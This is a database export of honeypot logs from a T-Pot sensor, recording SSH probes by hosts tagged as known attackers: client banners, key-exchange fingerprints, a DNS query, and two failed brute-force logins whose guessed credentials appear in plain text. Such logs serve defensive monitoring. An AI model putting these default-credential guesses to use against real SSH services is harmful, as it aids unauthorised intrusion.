20908	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:05.44509+03	2021-09-20 14:15:02.978613+03	{"_id": "1wXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4bebe31d8da4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:05.445090Z", "@timestamp": "2021-09-20T11:06:05.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20910	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:05.642313+03	2021-09-20 14:15:02.981613+03	{"_id": "2QXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "89aa45db4231", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:05.642313Z", "@timestamp": "2021-09-20T11:06:05.642Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20911	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:05.759851+03	2021-09-20 14:15:02.982613+03	{"_id": "2gXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4bebe31d8da4", "@version": "1", "timestamp": "2021-09-20T11:06:05.759851Z", "@timestamp": "2021-09-20T11:06:05.759Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20912	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:05.852194+03	2021-09-20 14:15:02.983612+03	{"_id": "2wXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b6e7c28d9c02", "@version": "1", "timestamp": "2021-09-20T11:06:05.852194Z", "@timestamp": "2021-09-20T11:06:05.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20913	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:05.918026+03	2021-09-20 14:15:02.985613+03	{"_id": "3AXiAnwBvYTbRNuEbvo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "89aa45db4231", "@version": "1", "timestamp": "2021-09-20T11:06:05.918026Z", "@timestamp": "2021-09-20T11:06:05.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30952	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:40:29.608277+03	2021-09-20 14:45:03.847142+03	{"_id": "dwYBA3wBvYTbRNuE7EAO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 15795, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1795727758805013, "@version": "1", "in_iface": "enp5s0", "src_port": 48756, "dest_port": 53, "timestamp": "2021-09-20T11:40:29.608277Z", "@timestamp": "2021-09-20T11:40:29.608Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20914	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:05.917167+03	2021-09-20 14:15:02.986613+03	{"_id": "3QXiAnwBvYTbRNuEcPr_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 158000759016515, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58734, "dest_port": 22, "timestamp": "2021-09-20T11:06:05.917167Z", "@timestamp": "2021-09-20T11:06:05.917Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20915	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:05.917284+03	2021-09-20 14:15:02.988613+03	{"_id": "3gXiAnwBvYTbRNuEcfqO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58734, "dest_port": 22, "timestamp": "2021-09-20T11:06:05.917284", "@timestamp": "2021-09-20T11:06:05.917Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20916	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:06:06.418301+03	2021-09-20 14:15:02.989612+03	{"_id": "5AXiAnwBvYTbRNuEcvoZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [nagios/password1] failed", "session": "5a2c163580eb", "@version": "1", "password": "password1", "username": "nagios", "timestamp": "2021-09-20T11:06:06.418301Z", "@timestamp": "2021-09-20T11:06:06.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20917	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:06.741685+03	2021-09-20 14:15:02.990612+03	{"_id": "5QXiAnwBvYTbRNuEcvoZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/bayandsl] failed", "session": "b6e7c28d9c02", "@version": "1", "password": "bayandsl", "username": "admin", "timestamp": "2021-09-20T11:06:06.741685Z", "@timestamp": "2021-09-20T11:06:06.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20918	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:06.982109+03	2021-09-20 14:15:02.991614+03	{"_id": "5gXiAnwBvYTbRNuEcvoZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:46234 (192.168.176.2:22) [session: 5bd8d49653e9]", "session": "5bd8d49653e9", "@version": "1", "protocol": "ssh", "src_port": 46234, "dest_port": 22, "timestamp": "2021-09-20T11:06:06.982109Z", "@timestamp": "2021-09-20T11:06:06.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
